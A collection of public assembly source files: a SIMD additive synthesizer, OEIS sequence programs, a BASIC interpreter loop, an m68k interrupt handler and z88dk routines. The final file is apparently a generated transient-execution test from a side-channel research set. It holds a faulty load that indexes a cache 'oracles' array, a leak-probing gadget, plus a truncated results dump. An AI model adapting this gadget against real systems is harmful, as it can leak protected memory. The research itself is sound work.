TheStack | 0e87bae280bf7b415644c461ac0a37ad0837605d | Assemblycode:Assembly | {"size": 5326, "ext": "asm", "max_stars_repo_path": "synth/src/additive.asm", "max_stars_repo_name": "PoroCYon/Oidos", "max_stars_repo_stars_event_min_datetime": "2017-01-03T22:46:10.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T15:01:41.000Z", "max_issues_repo_path": "synth/src/additive.asm", "max_issues_repo_name": "PoroCYon/Oidos", "max_issues_repo_issues_event_min_datetime": "2017-04-22T02:46:42.000Z", "max_issues_repo_issues_event_max_datetime": "2019-11-03T09:31:53.000Z", "max_forks_repo_path": "synth/src/additive.asm", "max_forks_repo_name": "PoroCYon/Oidos", "max_forks_repo_forks_event_min_datetime": "2017-04-12T20:40:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-26T21:15:54.000Z"} | {"max_stars_count": 110, "max_issues_count": 3, "max_forks_count": 13, "avg_line_length": 19.7259259259, "max_line_length": 56, "alphanum_fraction": 0.6027037176} |
; Windows?
%ifidn __OUTPUT_FORMAT__, win32
%define WINDOWS (1)
%elifidn __OUTPUT_FORMAT__, win64
%define WINDOWS (1)
%else
%define WINDOWS (0)
%endif
; Registers
%if __BITS__ == 32
%define r(n) e%+n
%else
%define r(n) r%+n
default rel
%endif
; Export functions
global supports_avx
global _supports_avx
global additive_core_sse2
global _additive_core_sse2
global additive_core_avx
global _additive_core_avx
; Constants
section .rodata align=32
c_zero: dq 0.0, 0.0, 0.0, 0.0
c_one: dq 1.0, 1.0, 1.0, 1.0
; Register assignment
%define STATE_RE r(di)
%define STATE_IM r(si)
%define STEP_RE r(dx)
%define STEP_IM r(cx)
%define FILTER_LOW r(ax)
%define FILTER_HIGH r(bx)
%define COUNT r(bp)
; Argument to ENTRY and EXIT macros to specify encoding
%define LEGACY(i) i
%define VEX(i) v%+i
%macro ENTRY 1
; Save general purpose registers
push r(bx)
push r(bp)
push r(si)
push r(di)
; Get arguments
%if __BITS__ == 32
mov STATE_RE, [esp + 5*4 + 0*4]
mov STATE_IM, [esp + 5*4 + 1*4]
mov STEP_RE, [esp + 5*4 + 2*4]
mov STEP_IM, [esp + 5*4 + 3*4]
mov FILTER_LOW, [esp + 5*4 + 4*4]
mov FILTER_HIGH, [esp + 5*4 + 5*4]
%1(movsd) xmm0, [esp + 5*4 + 6*4 + 0*8]
%1(movsd) xmm1, [esp + 5*4 + 6*4 + 1*8]
mov COUNT, [esp + 5*4 + 6*4 + 2*8 + 0*4]
%elif WINDOWS
mov STATE_RE, rcx
mov STATE_IM, rdx
mov STEP_RE, r8
mov STEP_IM, r9
mov FILTER_LOW, [rsp + 5*8 + 32 + 0*8]
mov FILTER_HIGH, [rsp + 5*8 + 32 + 1*8]
%1(movsd) xmm0, [rsp + 5*8 + 32 + 2*8 + 0*8]
%1(movsd) xmm1, [rsp + 5*8 + 32 + 2*8 + 1*8]
mov COUNT, [rsp + 5*8 + 32 + 2*8 + 2*8 + 0*8]
%else
mov FILTER_LOW, r8
mov FILTER_HIGH, r9
mov COUNT, [rsp + 5*8 + 0*8]
%endif
%if WINDOWS && __BITS__ == 64
; Save float registers
sub rsp, 2*16
%1(movupd) [rsp + 0*16], xmm6
%1(movupd) [rsp + 1*16], xmm7
%endif
; Disable denormals
sub r(sp), 4
%1(stmxcsr) [r(sp)]
or dword [r(sp)], 0x8040
%1(ldmxcsr) [r(sp)]
add r(sp), 4
%endmacro
%macro EXIT 1
%if WINDOWS && __BITS__ == 64
; Restore float registers
%1(movupd) xmm6, [rsp + 0*16]
%1(movupd) xmm7, [rsp + 1*16]
add rsp, 2*16
%endif
%if __BITS__ == 32
; Return result on FP stack
sub esp, 8
%1(movsd) [esp], xmm0
fld qword [esp]
add esp, 8
%endif
; Restore general purpose registers
pop r(di)
pop r(si)
pop r(bp)
pop r(bx)
%endmacro
; Supports AVX?
section .text
supports_avx:
_supports_avx:
push r(bx)
mov eax, 1
cpuid
mov r(ax), r(cx)
shr r(ax), 28
and r(ax), 1
pop r(bx)
ret
; SSE2 core
section .text
additive_core_sse2:
_additive_core_sse2:
ENTRY LEGACY
; Initialize
movsd xmm6, xmm0
unpcklpd xmm6, xmm6
movsd xmm7, xmm1
unpcklpd xmm7, xmm7
xorpd xmm0, xmm0
.loop:
; Update oscillator
movupd xmm2, [STATE_RE]
movupd xmm3, [STATE_IM]
movapd xmm4, xmm2
movapd xmm5, xmm3
movupd xmm1, [STEP_RE]
mulpd xmm2, xmm1
mulpd xmm3, xmm1
movupd xmm1, [STEP_IM]
mulpd xmm4, xmm1
mulpd xmm5, xmm1
subpd xmm2, xmm5
addpd xmm3, xmm4
movupd [STATE_RE], xmm2
movupd [STATE_IM], xmm3
; Update filter
movupd xmm4, [FILTER_LOW]
movupd xmm5, [FILTER_HIGH]
movapd xmm3, xmm4
minpd xmm3, xmm5
addpd xmm4, xmm6
addpd xmm5, xmm7
movupd [FILTER_LOW], xmm4
movupd [FILTER_HIGH], xmm5
maxpd xmm3, [c_zero]
minpd xmm3, [c_one]
; Accumulate filtered oscillator
mulpd xmm2, xmm3
addpd xmm0, xmm2
; Advance pointers
add STATE_RE, 16
add STATE_IM, 16
add STEP_RE, 16
add STEP_IM, 16
add FILTER_LOW, 16
add FILTER_HIGH, 16
sub COUNT, 2
ja .loop
; Final summation
movapd xmm1, xmm0
unpckhpd xmm1, xmm1
addsd xmm0, xmm1
EXIT LEGACY
ret
; AVX core
section .text
additive_core_avx:
_additive_core_avx:
ENTRY VEX
; Initialize
vunpcklpd xmm6, xmm0, xmm0
vinsertf128 ymm6, ymm6, xmm6, 1
vunpcklpd xmm7, xmm1, xmm1
vinsertf128 ymm7, ymm7, xmm7, 1
vxorpd ymm0, ymm0
.loop:
; Update oscillator
vmovupd ymm2, [STATE_RE]
vmovupd ymm3, [STATE_IM]
vmulpd ymm4, ymm2, [STEP_RE]
vmulpd ymm5, ymm2, [STEP_IM]
vmulpd ymm2, ymm3, [STEP_IM]
vmulpd ymm3, ymm3, [STEP_RE]
vsubpd ymm2, ymm4, ymm2
vaddpd ymm3, ymm3, ymm5
vmovupd [STATE_RE], ymm2
vmovupd [STATE_IM], ymm3
; Update filter
vmovupd ymm4, [FILTER_LOW]
vmovupd ymm5, [FILTER_HIGH]
vminpd ymm3, ymm4, ymm5
vaddpd ymm4, ymm4, ymm6
vaddpd ymm5, ymm5, ymm7
vmovupd [FILTER_LOW], ymm4
vmovupd [FILTER_HIGH], ymm5
vmaxpd ymm3, ymm3, [c_zero]
vminpd ymm3, ymm3, [c_one]
; Accumulate filtered oscillator
vmulpd ymm2, ymm2, ymm3
vaddpd ymm0, ymm0, ymm2
; Advance pointers
add STATE_RE, 32
add STATE_IM, 32
add STEP_RE, 32
add STEP_IM, 32
add FILTER_LOW, 32
add FILTER_HIGH, 32
sub COUNT, 4
ja .loop
; Final summation
vextractf128 xmm1, ymm0, 1
vaddpd xmm0, xmm0, xmm1
vhaddpd xmm0, xmm0, xmm0
EXIT VEX
vzeroupper
ret
|
||||
TheStack | e58a791071ccca6a3c201873f8cfbd3485c55db7 | Assemblycode:Assembly | {"size": 290, "ext": "asm", "max_stars_repo_path": "programs/oeis/034/A034911.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/034/A034911.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/034/A034911.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 24.1666666667, "max_line_length": 167, "alphanum_fraction": 0.7793103448} | ; A034911: One fifth of octo-factorial numbers.
; 1,13,273,7917,292929,13181805,698635665,42616775565,2940557513985,226422928576845,19245948929031825,1789873250399959725,180777198290395932225,19704714613653156612525
mov $1,1
mov $2,5
lpb $0
sub $0,1
add $2,8
mul $1,$2
lpe
mov $0,$1
|
||||
TheStack | aa01b090fc95dfe3f661b30094e7c652e297bfc3 | Assemblycode:Assembly | {"size": 612, "ext": "asm", "max_stars_repo_path": "programs/oeis/040/A040008.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/040/A040008.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/040/A040008.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 55.6363636364, "max_line_length": 501, "alphanum_fraction": 0.5196078431} | ; A040008: Continued fraction for sqrt(12).
; 3,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2
mul $0,-3
add $0,2
mod $0,6
div $0,2
pow $0,2
mov $1,$0
add $1,2
|
||||
TheStack | aa92bdbeece66a46e610f5322ecbaf364031e6ee | Assemblycode:Assembly | {"size": 386, "ext": "asm", "max_stars_repo_path": "oeis/127/A127439.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/127/A127439.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/127/A127439.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 35.0909090909, "max_line_length": 183, "alphanum_fraction": 0.5803108808} | ; A127439: Triangle read by rows, in which row n consists of first n terms of A054541.
; Submitted by Jamie Morken(s4)
; 2,2,1,2,1,2,2,1,2,2,2,1,2,2,4,2,1,2,2,4,2,2,1,2,2,4,2,4,2,1,2,2,4,2,4,2,2,1,2,2,4,2,4,2,4,2,1,2,2,4,2,4,2,4,6,2,1,2,2,4,2,4,2,4,6,2,2,1,2,2,4,2,4,2,4,6,2,6,2,1,2,2,4,2,4,2,4,6,2,6,4
lpb $0
add $1,1
sub $0,$1
lpe
seq $0,230847 ; a(n) = 1 + A054541(n).
sub $0,1
|
||||
TheStack | 38651368c73a88bb4800c4325e10a2cba46aca18 | Assemblycode:Assembly | {"size": 3965, "ext": "asm", "max_stars_repo_path": "basic/src/commands/run.asm", "max_stars_repo_name": "paulscottrobson/eris", "max_stars_repo_stars_event_min_datetime": "2020-03-31T08:21:22.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-28T20:03:29.000Z", "max_issues_repo_path": "basic/src/commands/run.asm", "max_issues_repo_name": "paulscottrobson/eris", "max_issues_repo_issues_event_min_datetime": "2020-03-31T06:35:37.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-17T08:56:48.000Z", "max_forks_repo_path": "basic/src/commands/run.asm", "max_forks_repo_name": "paulscottrobson/eris", "max_forks_repo_forks_event_min_datetime": "2020-05-10T10:23:06.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-14T02:21:02.000Z"} | {"max_stars_count": 13, "max_issues_count": 37, "max_forks_count": 5, "avg_line_length": 32.7685950413, "max_line_length": 80, "alphanum_fraction": 0.5442622951} | ; *****************************************************************************
; *****************************************************************************
;
; Name: run.asm
; Purpose: Run program
; Created: 3rd March 2020
; Reviewed: 17th March 2020
; Author: Paul Robson ([email protected])
;
; *****************************************************************************
; *****************************************************************************
; *****************************************************************************
;
; Run program / Run "Filename"
;
; *****************************************************************************
.RunProgram ;; [run]
ldm r0,r11,#0 ; what follows ?
sknz r0
jmp #RunProgramNoLoad
xor r0,#TOK_COLON
skz r0
jsr #FileLoader ; if not EOL or colon try loading.
.RunProgramNoLoad
jsr #Command_Clear ; clear command, erase variables etc.
ldm r11,#programCode ; address of first line.
ldm r0,r11,#0 ; get offset to next line.
sknz r0 ; if zero, then no program fo exit.
jmp #WarmStart
;
; Come here to run program from R11.
;
.RunProgramR11
ldm sp,#initialSP ; reset the stack
mov r10,#evalStack ; reset the evaluation stack.
mov r0,#$17 ; switch colour to white
jsr #OSPrintCharacter
;
; New line. On entry R11 points to offset word
;
._RPNewLine
stm r11,#currentLine ; save current line number.
add r11,#2 ; point to first token.
;
; Next command.
;
._RPNewCommand
jsr #OSSystemManager ; call system manager routine no break
skz r0 ; exit on break
jmp #BreakError ; error if broken.
ldm r0,#hwTimer ; check timer event due ?
ldm r1,#eventCheckTime
sub r0,r1,#0
skm r0
jsr #EventCheck ; go actually check.
;
; New instruction at R11
;
._RPNoCheck
stm r14,#tempStringAlloc ; clear the temp string reference.
ldm r0,r11,#0 ; get next token.
mov r1,r0,#0 ; save in R1
inc r11 ; skip over token.
and r0,#$F800 ; check it is 0011 1xx e.g. token with type 11xx
xor r0,#$3800 ; which is a command token of some sort
skz r0
jmp #_RPNotCommandToken
;
and r1,#$01FF ; get token ID lower 9 bits
add r1,#TokenVectors ; R1 now points to the token code address
ldm r0,r1,#0 ; get the call address into R0
brl link,r0,#0 ; call that routine
jmp #_RPNewCommand ; go round again
;
; Not a command token. Could be an identifier, !, or possibly EOL. R11 points
; to word following command token.
;
._RPNotCommandToken
sknz r1 ; if R1 is zero, end of line, go to new line
jmp #_RPNextLine
dec r11 ; unpick the token get
;
ldm r0,r11,#0 ; get token back
xor r0,#TOK_PLING ; ! is a special case, we can do !x = 42
sknz r0
jmp #_RPDoLet
;
ldm r0,r11,#0 ; get token back
and r0,#$C000 ; is it an identifier e.g. 4000-7FFF
xor r0,#$4000 ; then if so this may be a default LET
skz r0
jmp #_RPCheckAsm ; if not, check for assembler
._RPDoLet
jsr #Command_Let ; try it as a 'let'
jmp #_RPNewCommand ; and go round again.
;
; Check for assembler token, which is one of the first 16
;
._RPCheckAsm
ldm r0,r11,#0 ; get token back
and r0,#$21F0 ; this checks for tokens from 0-15
xor r0,#$2000
skz r0
jmp #SyntaxError
jsr #AssembleInstruction ; assemble it
jmp #_RPNewCommand ; go round again.
;
; Advance to next line. If running from CLI offset will be zero so will not
; change lines with the 'add'
;
._RPNextLine
ldm r11,#currentLine ; get current line
ldm r0,r11,#0 ; get offset this line
add r11,r0,#0 ; advance pointer
ldm r0,r11,#0 ; get offset next line
sknz r0 ; if zero warm start
jmp #WarmStart
jmp #_RPNewLine
|
||||
TheStack | f714c5b70a894ed89ff2f2554942a07703379d15 | Assemblycode:Assembly | {"size": 2366, "ext": "asm", "max_stars_repo_path": "xosera_test_m68k/interrupt.asm", "max_stars_repo_name": "roscopeco/Xosera", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "xosera_test_m68k/interrupt.asm", "max_issues_repo_name": "roscopeco/Xosera", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "xosera_test_m68k/interrupt.asm", "max_forks_repo_name": "roscopeco/Xosera", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 34.2898550725, "max_line_length": 84, "alphanum_fraction": 0.4416737109} | ; *************************************************************
; Copyright (c) 2021 roscopeco <AT> gmail <DOT> com
; *************************************************************
;
section .text ; This is normal code
include "../xosera_m68k_api/xosera_equates.asm"
install_intr::
movem.l D0-D7/A0-A6,-(A7)
move.l #Xosera_intr,$68
and.w #$F0FF,SR
movem.l (A7)+,D0-D7/A0-A6
rts
remove_intr::
movem.l D0-D7/A0-A6,-(A7)
move.l $60,D0 ; copy spurious int handler
move.l D0,$68
movem.l (A7)+,D0-D7/A0-A6
rts
; interrupt routine
Xosera_intr:
movem.l D0-D1/A0,-(A7) ; save minimal regs
move.l #XVR_regbase,A0 ; get Xosera base addr
movep.w XVR_aux_addr(A0),D1 ; save aux_addr value
moveq.l #XVA_scanline,D0 ; current scanline reg
movep.w D0,XVR_aux_addr(A0)
movep.w XVR_aux_data(A0),D0 ; read scanline
tst.w D0 ; must tst, movep does not set flags
bmi .Xosera_Vsync ; if in blank, assume vsync
moveq.l #XVA_linestart,D0 ; set line_start reg
movep.w D0,XVR_aux_addr(A0)
moveq.l #$0000,D0 ; to VRAM addr $0000
movep.w D0,XVR_aux_data(A0)
movep.w D1,XVR_aux_addr(A0) ; restore aux_addr
movem.l (A7)+,D0-D1/A0 ; restore regs
rte ; return from interrupt
.Xosera_Vsync
move.w #XVA_COLORMEM+2,D0 ; set color entry #2
movep.w D0,XVR_aux_addr(A0)
move.w NukeColor,D0 ; increment NukeColor
addq.l #1,D0
move.w D0,NukeColor
movep.w D0,XVR_aux_data(A0) ; to NukeColor
add.l #1,XFrameCount ; increment frame counter
movep.w D2,XVR_aux_addr(A0) ; restore aux_addr
movem.l (A7)+,D0-D1/A0 ; restore regs
rte
NukeColor dc.w $0000
XFrameCount:: dc.l $00000000
|
||||
TheStack | 1e689936202b01577ef6c49b342f5314c251101d | Assemblycode:Assembly | {"size": 1115, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48_cmp.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48_cmp.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/z80/core/mm48_cmp.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 21.862745098, "max_line_length": 53, "alphanum_fraction": 0.4421524664} |
SECTION code_clib
SECTION code_fp_math48
PUBLIC mm48_cmp, mm48__cmp2
EXTERN mm48__cmpac
mm48_cmp:
; compare AC to AC' (effective AC - AC')
;
; enter : AC (BCDEHL ) = float x
; AC'(BCDEHL') = float y
;
; exit : ZF=1: AC=AC'.
; ZF=0,CF=0: AC>AC'.
; ZF=0,CF=1: AC<AC'.
;
; uses : af
exx ;Er fortegn ens?
ld a,b
exx
xor b
jp p, mm48__cmp1 ;Ja => CMP1
ld a,b ;Fortegn fra AC til
rla ;carry
ret
mm48__cmp1:
bit 7,b ;Negative tal?
jr z, mm48__cmp2 ;Nej => CMP2
call mm48__cmp2 ;Sammenlign abs.vaerdi
ret z ;Ens => Returner
ccf ;Complementer resultat
ret
mm48__cmp2:
ld a,l ;Er exponenter ens?
exx
cp l
exx
ret nz ;Nej => Returner
or a ;Er exponenter nul?
ret z ;Ja => Returner
jp mm48__cmpac ;Sammenlign AC med AC'
|
||||
TheStack | ab4d97cbbdeaf340a85fb081843ed09b7ba545e9 | Assemblycode:Assembly | {"size": 473, "ext": "asm", "max_stars_repo_path": "oeis/037/A037540.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/037/A037540.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/037/A037540.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 47.3, "max_line_length": 176, "alphanum_fraction": 0.778012685} | ; A037540: Base 7 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,1.
; Submitted by Jamie Morken(s4)
; 1,9,64,449,3145,22016,154113,1078793,7551552,52860865,370026057,2590182400,18131276801,126918937609,888432563264,6219027942849,43533195599945,304732369199616,2133126584397313
seq $0,33134 ; Base-7 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0.
add $2,$0
div $2,7
add $2,$0
mov $0,$2
|
||||
TheStack | dac5cc751003980f5da98fe81460d0f10191db42 | Assemblycode:Assembly | {"size": 170, "ext": "asm", "max_stars_repo_path": "libsrc/strings/strcasecmp.asm", "max_stars_repo_name": "meesokim/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/strings/strcasecmp.asm", "max_issues_repo_name": "meesokim/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/strings/strcasecmp.asm", "max_forks_repo_name": "meesokim/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 10.625, "max_line_length": 38, "alphanum_fraction": 0.6764705882} | ; CALLER linkage for function pointers
PUBLIC strcasecmp
EXTERN stricmp1
.strcasecmp
pop bc
pop de
pop hl
push hl
push de
push bc
jp stricmp1
|
||||
TheStack | 9f1e40b0479910ee43221b76137d681de7949bff | Assemblycode:Assembly | {"size": 5995, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1088.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1088.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1088.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 37.46875, "max_line_length": 2999, "alphanum_fraction": 0.6612176814} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x107d, %rbx
clflush (%rbx)
nop
cmp $51466, %rbp
mov $0x6162636465666768, %r14
movq %r14, %xmm4
vmovups %ymm4, (%rbx)
nop
nop
nop
add $3249, %rdi
lea addresses_WC_ht+0x1c7d, %rbp
nop
nop
xor %r10, %r10
mov (%rbp), %r8
nop
nop
nop
lfence
lea addresses_WC_ht+0x1747d, %rdi
nop
nop
nop
nop
dec %rbx
movl $0x61626364, (%rdi)
nop
add $43817, %r14
lea addresses_WC_ht+0x55fd, %rsi
lea addresses_normal_ht+0x1507d, %rdi
nop
nop
nop
and %rbx, %rbx
mov $123, %rcx
rep movsb
nop
nop
nop
nop
nop
add %r10, %r10
lea addresses_normal_ht+0x167d, %r10
nop
nop
nop
nop
sub %rbp, %rbp
movb (%r10), %bl
nop
lfence
lea addresses_D_ht+0x16fd, %rsi
lea addresses_D_ht+0x1c7d, %rdi
nop
nop
inc %r14
mov $32, %rcx
rep movsw
nop
nop
nop
add $25801, %rdi
lea addresses_D_ht+0x1707d, %rsi
nop
nop
nop
mfence
vmovups (%rsi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
and %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rbx
push %rcx
push %rsi
// Store
lea addresses_A+0x8135, %r11
nop
nop
dec %r14
mov $0x5152535455565758, %rcx
movq %rcx, %xmm0
vmovups %ymm0, (%r11)
nop
nop
nop
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_RW+0x787d, %rcx
nop
nop
nop
nop
nop
cmp %rsi, %rsi
movb (%rcx), %r12b
lea oracles, %r11
and $0xff, %r12
shlq $12, %r12
mov (%r11,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 